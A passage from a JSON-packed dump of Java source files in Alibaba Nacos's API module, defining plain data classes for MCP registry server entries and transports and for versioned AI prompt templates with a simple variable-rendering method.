getVersion() {\n        return version;\n    }\n\n    /**\n     * Set version.\n     *\n     * @param version version\n     */\n    public void setVersion(String version) {\n        this.version = version;\n    }\n\n    /**\n     * Get file SHA 256.\n     *\n     * @return file SHA 256\n     */\n    public String getFileSha256() {\n        return fileSha256;\n    }\n\n    /**\n     * Set file SHA 256.\n     *\n     * @param fileSha256 file SHA 256\n     */\n    public void setFileSha256(String fileSha256) {\n        this.fileSha256 = fileSha256;\n    }\n\n    /**\n     * Get runtime hint.\n     *\n     * @return runtime hint\n     */\n    public String getRuntimeHint() {\n        return runtimeHint;\n    }\n\n    /**\n     * Set runtime hint.\n     *\n     * @param runtimeHint runtime hint\n     */\n    public void setRuntimeHint(String runtimeHint) {\n        this.runtimeHint = runtimeHint;\n    }\n\n    /**\n     * Get runtime arguments.\n     *\n     * @return runtime arguments\n     */\n    public List<Argument> getRuntimeArguments() {\n        return runtimeArguments;\n    }\n\n    /**\n     * Set runtime arguments.\n     *\n     * @param runtimeArguments runtime arguments\n     */\n    public void setRuntimeArguments(List<Argument> runtimeArguments) {\n        this.runtimeArguments = runtimeArguments;\n    }\n\n    /**\n     * Get package arguments.\n     *\n     * @return package arguments\n     */\n    public List<Argument> getPackageArguments() {\n        return packageArguments;\n    }\n\n    /**\n     * Set package arguments.\n     *\n     * @param packageArguments package arguments\n     */\n    public void setPackageArguments(List<Argument> packageArguments) {\n        this.packageArguments = packageArguments;\n    }\n\n    /**\n     * Get environment variables.\n     *\n     * @return environment variables\n     */\n    public List<KeyValueInput> getEnvironmentVariables() {\n        return environmentVariables;\n    }\n\n    /**\n     * Set environment variables.\n     *\n     * @param environmentVariables environment variables\n     */\n    public void setEnvironmentVariables(List<KeyValueInput> environmentVariables) {\n        this.environmentVariables = environmentVariables;\n    }\n\n    /**\n     * Get transport.\n     *\n     * @return transport\n     */\n    public Object getTransport() {\n        return transport;\n    }\n\n    /**\n     * Set transport.\n     *\n     * @param transport transport\n     */\n    public void setTransport(Object transport) {\n        this.transport = transport;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/PositionalArgument.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonTypeName;\n\n/**\n * PositionalArgument per components.schemas.PositionalArgument.\n *\n * @author xinluo\n */\n@JsonTypeName(\"positional\")\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class PositionalArgument extends InputWithVariables implements Argument {\n\n    private String type = \"positional\";\n\n    private String valueHint;\n\n    private Boolean isRepeated;\n\n    /**\n     * Get type.\n     *\n     * @return type\n     */\n    public String getType() {\n        return type;\n    }\n\n    /**\n     * Set type.\n     *\n     * @param type type\n     */\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    /**\n     * Get value hint.\n     *\n     * @return value hint\n     */\n    public String getValueHint() {\n        return valueHint;\n    }\n\n    /**\n     * Set value hint.\n     *\n     * @param valueHint value hint\n     */\n    public void setValueHint(String valueHint) {\n        this.valueHint = valueHint;\n    }\n\n    /**\n     * Get is repeated flag.\n     *\n     * @return is repeated\n     */\n    public Boolean getIsRepeated() {\n        return isRepeated;\n    }\n\n    /**\n     * Set is repeated flag.\n     *\n     * @param isRepeated is repeated\n     */\n    public void setIsRepeated(Boolean isRepeated) {\n        this.isRepeated = isRepeated;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/Remote.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\n\nimport java.util.List;\n\n/**\n * Remote per components.schemas.Remote.\n *\n * @author xinluo\n */\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class Remote {\n\n    private String type;\n\n    private String url;\n\n    private List<KeyValueInput> headers;\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public List<KeyValueInput> getHeaders() {\n        return headers;\n    }\n\n    public void setHeaders(List<KeyValueInput> headers) {\n        this.headers = headers;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/Repository.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\n\n/**\n * Repository per components.schemas.Repository.\n *\n * @author xinluo\n */\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class Repository {\n\n    private String url;\n\n    private String source;\n\n    private String id;\n\n    private String subfolder;\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getSource() {\n        return source;\n    }\n\n    public void setSource(String source) {\n        this.source = source;\n    }\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getSubfolder() {\n        return subfolder;\n    }\n\n    public void setSubfolder(String subfolder) {\n        this.subfolder = subfolder;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/ServerResponse.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonAnyGetter;\nimport com.fasterxml.jackson.annotation.JsonAnySetter;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * ServerResponse.\n *\n * @author xinluo\n */\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class ServerResponse {\n\n    private McpRegistryServerDetail server;\n\n    @JsonProperty(\"_meta\")\n    private Meta meta;\n\n    public McpRegistryServerDetail getServer() {\n        return server;\n    }\n\n    public void setServer(McpRegistryServerDetail server) {\n        this.server = server;\n    }\n\n    public Meta getMeta() {\n        return meta;\n    }\n\n    public void setMeta(Meta meta) {\n        this.meta = meta;\n    }\n\n    /**\n     * _meta wrapper allowing extension namespaces.\n     *\n     * @author xinluo\n     */\n    @JsonInclude(JsonInclude.Include.NON_NULL)\n    public static class Meta {\n\n        @JsonProperty(\"io.modelcontextprotocol.registry/official\")\n        private OfficialMeta official;\n\n        @JsonAnySetter\n        private Map<String, Object> additionalMetadata = new HashMap<>();\n\n        public OfficialMeta getOfficial() {\n            return official;\n        }\n\n        public void setOfficial(OfficialMeta official) {\n            this.official = official;\n        }\n\n        @JsonAnyGetter\n        public Map<String, Object> getAdditionalMetadata() {\n            return additionalMetadata;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/ServerVersionDetail.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\n\n/** \n * ServerVersionDetail.\n * \n * @author xinluo\n */\n@SuppressWarnings({\"checkstyle:MethodName\", \"checkstyle:ParameterName\", \"checkstyle:MemberName\", \"checkstyle:SummaryJavadoc\"})\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class ServerVersionDetail {\n\n    private String version;\n\n    private String release_date;\n\n    private Boolean is_latest;\n\n    public String getRelease_date() {\n        return release_date;\n    }\n\n    public String getVersion() {\n        return version;\n    }\n\n    public void setRelease_date(String releaseDate) {\n        this.release_date = releaseDate;\n    }\n\n    public void setVersion(String version) {\n        this.version = version;\n    }\n\n    public void setIs_latest(Boolean is_latest) {\n        this.is_latest = is_latest;\n    }\n\n    public Boolean getIs_latest() {\n        return is_latest;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/SseTransport.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonTypeName;\n\nimport java.util.List;\n\n/**\n * SseTransport per components.schemas.SseTransport.\n * Transport type using Server-Sent Events for MCP server communication.\n *\n * @author xinluo\n */\n@JsonTypeName(\"sse\")\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class SseTransport {\n\n    private String type = \"sse\";\n\n    private String url;\n\n    private List<KeyValueInput> headers;\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public List<KeyValueInput> getHeaders() {\n        return headers;\n    }\n\n    public void setHeaders(List<KeyValueInput> headers) {\n        this.headers = headers;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/StdioTransport.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonTypeName;\n\n/**\n * Stdio transport configuration.\n *\n * @author xinluo\n */\n@JsonTypeName(\"stdio\")\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class StdioTransport {\n    private String type = \"stdio\";\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/mcp/registry/StreamableHttpTransport.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonTypeName;\n\nimport java.util.List;\n\n/**\n * StreamableHttpTransport per components.schemas.StreamableHttpTransport.\n * Transport type using streamable HTTP for MCP server communication.\n *\n * @author xinluo\n */\n@JsonTypeName(\"streamable-http\")\n@JsonInclude(JsonInclude.Include.NON_NULL)\n@JsonIgnoreProperties(ignoreUnknown = true)\npublic class StreamableHttpTransport {\n\n    private String type = \"streamable-http\";\n\n    private String url;\n\n    private List<KeyValueInput> headers;\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public List<KeyValueInput> getHeaders() {\n        return headers;\n    }\n\n    public void setHeaders(List<KeyValueInput> headers) {\n        this.headers = headers;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/prompt/Prompt.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.prompt;\n\nimport java.io.Serializable;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Prompt entity for AI Prompt management.\n *\n * <p>Prompt is stored as a Nacos configuration with fixed group \"nacos-ai-prompt\"\n * and dataId \"{promptKey}.json\". The content is stored as JSON format.</p>\n *\n * @author nacos\n */\npublic class Prompt implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Prompt key (unique identifier within namespace).\n     */\n    private String promptKey;\n    \n    /**\n     * Prompt version in format \"major.minor.patch\" (e.g., \"1.0.0\").\n     */\n    private String version;\n    \n    /**\n     * Prompt template content.\n     */\n    private String template;\n    \n    /**\n     * MD5 hash of the prompt content (for CAS operations).\n     */\n    private String md5;\n    \n    /**\n     * Variable definitions with optional default values. Null for legacy prompts without variable metadata.\n     */\n    private List<PromptVariable> variables;\n    \n    public Prompt() {\n    }\n    \n    public Prompt(String promptKey, String version, String template) {\n        this.promptKey = promptKey;\n        this.version = version;\n        this.template = template;\n    }\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public void setPromptKey(String promptKey) {\n        this.promptKey = promptKey;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getTemplate() {\n        return template;\n    }\n    \n    public void setTemplate(String template) {\n        this.template = template;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public List<PromptVariable> getVariables() {\n        return variables;\n    }\n    \n    public void setVariables(List<PromptVariable> variables) {\n        this.variables = variables;\n    }\n    \n    /**\n     * Render the prompt template by replacing variables with provided values.\n     *\n     * <p>Variables in the template are specified using {{variableName}} syntax.\n     * This method first applies default values from variable definitions,\n     * then overrides with user-provided values.</p>\n     *\n     * <p>Example:\n     * <pre>\n     * Prompt prompt = new Prompt(\"greeting\", \"1.0.0\", \"Hello {{name}}, welcome to {{place}}!\");\n     * Map&lt;String, String&gt; userVars = new HashMap&lt;&gt;();\n     * userVars.put(\"name\", \"Alice\");\n     * userVars.put(\"place\", \"Nacos\");\n     * String result = prompt.render(userVars);\n     * // Result: \"Hello Alice, welcome to Nacos!\"\n     * </pre>\n     * </p>\n     *\n     * @param userVariables map of variable names to their values (key: variable name, value: replacement value)\n     * @return rendered prompt content with variables replaced, or the original template if no values available\n     */\n    public String render(Map<String, String> userVariables) {\n        if (template == null) {\n            return null;\n        }\n        \n        Map<String, String> merged = new HashMap<>();\n        if (variables != null) {\n            for (PromptVariable v : variables) {\n                if (v.getDefaultValue() != null) {\n                    merged.put(v.getName(), v.getDefaultValue());\n                }\n            }\n        }\n        if (userVariables != null) {\n            merged.putAll(userVariables);\n        }\n        \n        if (merged.isEmpty()) {\n            return template;\n        }\n        \n        String result = template;\n        for (Map.Entry<String, String> entry : merged.entrySet()) {\n            String placeholder = \"{{\" + entry.getKey() + \"}}\";\n            String value = entry.getValue() != null ? entry.getValue() : \"\";\n            result = result.replace(placeholder, value);\n        }\n        return result;\n    }\n    \n    @Override\n    public String toString() {\n        return \"Prompt{\" + \"promptKey='\" + promptKey + '\\'' + \", version='\" + version + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/prompt/PromptDescriptor.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.prompt;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Prompt descriptor for control plane fields.\n *\n * @author nacos\n */\npublic class PromptDescriptor implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    private int schemaVersion = 1;\n    \n    private String promptKey;\n    \n    private String description;\n    \n    private List<String> bizTags = new ArrayList<>();\n    \n    private Long gmtModified;\n    \n    public int getSchemaVersion() {\n        return schemaVersion;\n    }\n    \n    public void setSchemaVersion(int schemaVersion) {\n        this.schemaVersion = schemaVersion;\n    }\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public void setPromptKey(String promptKey) {\n        this.promptKey = promptKey;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public List<String> getBizTags() {\n        return bizTags;\n    }\n    \n    public void setBizTags(List<String> bizTags) {\n        this.bizTags = bizTags;\n    }\n    \n    public Long getGmtModified() {\n        return gmtModified;\n    }\n    \n    public void setGmtModified(Long gmtModified) {\n        this.gmtModified = gmtModified;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/prompt/PromptLabelVersionMapping.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.prompt;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Prompt runtime label/version mapping information.\n *\n * @author nacos\n */\npublic class PromptLabelVersionMapping implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    private int schemaVersion = 1;\n    \n    private String promptKey;\n    \n    private List<String> versions = new ArrayList<>();\n    \n    private Map<String, String> labels = new HashMap<>();\n    \n    private String latestVersion;\n    \n    private Long gmtModified;\n    \n    public int getSchemaVersion() {\n        return schemaVersion;\n    }\n    \n    public void setSchemaVersion(int schemaVersion) {\n        this.schemaVersion = schemaVersion;\n    }\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public void setPromptKey(String promptKey) {\n        this.promptKey = promptKey;\n    }\n    \n    public List<String> getVersions() {\n        return versions;\n    }\n    \n    public void setVersions(List<String> versions) {\n        this.versions = versions;\n    }\n    \n    public Map<String, String> getLabels() {\n        return labels;\n    }\n    \n    public void setLabels(Map<String, String> labels) {\n        this.labels = labels;\n    }\n    \n    public String getLatestVersion() {\n        return latestVersion;\n    }\n    \n    public void setLatestVersion(String latestVersion) {\n        this.latestVersion = latestVersion;\n    }\n    \n    public Long getGmtModified() {\n        return gmtModified;\n    }\n    \n    public void setGmtModified(Long gmtModified) {\n        this.gmtModified = gmtModified;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/prompt/PromptMetaInfo.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.prompt;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Prompt meta information.\n *\n * @author nacos\n */\npublic class PromptMetaInfo extends PromptMetaSummary {\n    \n    private static final long serialVersionUID = 1L;\n    \n    private List<String> versions = new ArrayList<>();\n    \n    private Map<String, String> labels = new HashMap<>();\n    \n    public List<String> getVersions() {\n        return versions;\n    }\n    \n    public void setVersions(List<String> versions) {\n        this.versions = versions;\n    }\n    \n    public Map<String, String> getLabels() {\n        return labels;\n    }\n    \n    public void setLabels(Map<String, String> labels) {\n        this.labels = labels;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/prompt/PromptMetaSummary.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.prompt;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Prompt meta summary for prompt list response.\n *\n * @author nacos\n */\npublic class PromptMetaSummary implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    private int schemaVersion = 1;\n    \n    private String promptKey;\n    \n    private String description;\n    \n    private List<String> bizTags = new ArrayList<>();\n    \n    private String latestVersion;\n    \n    private Long gmtModified;\n    \n    public int getSchemaVersion() {\n        return schemaVersion;\n    }\n    \n    public void setSchemaVersion(int schemaVersion) {\n        this.schemaVersion = schemaVersion;\n    }\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public void setPromptKey(String promptKey) {\n        this.promptKey = promptKey;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public List<String> getBizTags() {\n        return bizTags;\n    }\n    \n    public void setBizTags(List<String> bizTags) {\n        this.bizTags = bizTags;\n    }\n    \n    public String getLatestVersion() {\n        return latestVersion;\n    }\n    \n    public void setLatestVersion(String latestVersion) {\n        this.latestVersion = latestVersion;\n    }\n    \n    public Long getGmtModified() {\n        return gmtModified;\n    }\n    \n    public void setGmtModified(Long gmtModified) {\n        this.gmtModified = gmtModified;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/prompt/PromptVariable.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.prompt;\n\nimport java.io.Serializable;\n\n/**\n * Prompt variable definition with optional default value.\n *\n * <p>Represents a variable placeholder (e.g., {{variableName}}) in a prompt template,\n * along with its optional default value and description.</p>\n *\n * @author nacos\n */\npublic class PromptVariable implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Variable name (matches the placeholder name in template, e.g., \"question\" for {{question}}).\n     */\n    private String name;\n    \n    /**\n     * Default value for this variable. Null means the variable has no default (considered required).\n     */\n    private String defaultValue;\n    \n    /**\n     * Optional description explaining the purpose or expected content of this variable.\n     */\n    private String description;\n    \n    public PromptVariable() {\n    }\n    \n    public PromptVariable(String name, String defaultValue, String description) {\n        this.name = name;\n        this.defaultValue = defaultValue;\n        this.description = description;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getDefaultValue() {\n        return defaultValue;\n    }\n    \n    public void setDefaultValue(String defaultValue) {\n        this.defaultValue = defaultValue;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    @Override\n    public String toString() {\n        return \"PromptVariable{\" + \"name='\" + name + '\\'' + \", defaultValue='\" + defaultValue + '\\'' + \", description='\"\n                + description + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/prompt/PromptVersionInfo.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.prompt;\n\nimport java.util.List;\n\n/**\n * Prompt version information.\n *\n * @author nacos\n */\npublic class PromptVersionInfo extends PromptVersionSummary {\n    \n    private static final long serialVersionUID = 1L;\n    \n    private String template;\n    \n    private String md5;\n    \n    private List<PromptVariable> variables;\n    \n    public String getTemplate() {\n        return template;\n    }\n    \n    public void setTemplate(String template) {\n        this.template = template;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public List<PromptVariable> getVariables() {\n        return variables;\n    }\n    \n    public void setVariables(List<PromptVariable> variables) {\n        this.variables = variables;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/prompt/PromptVersionSummary.java",
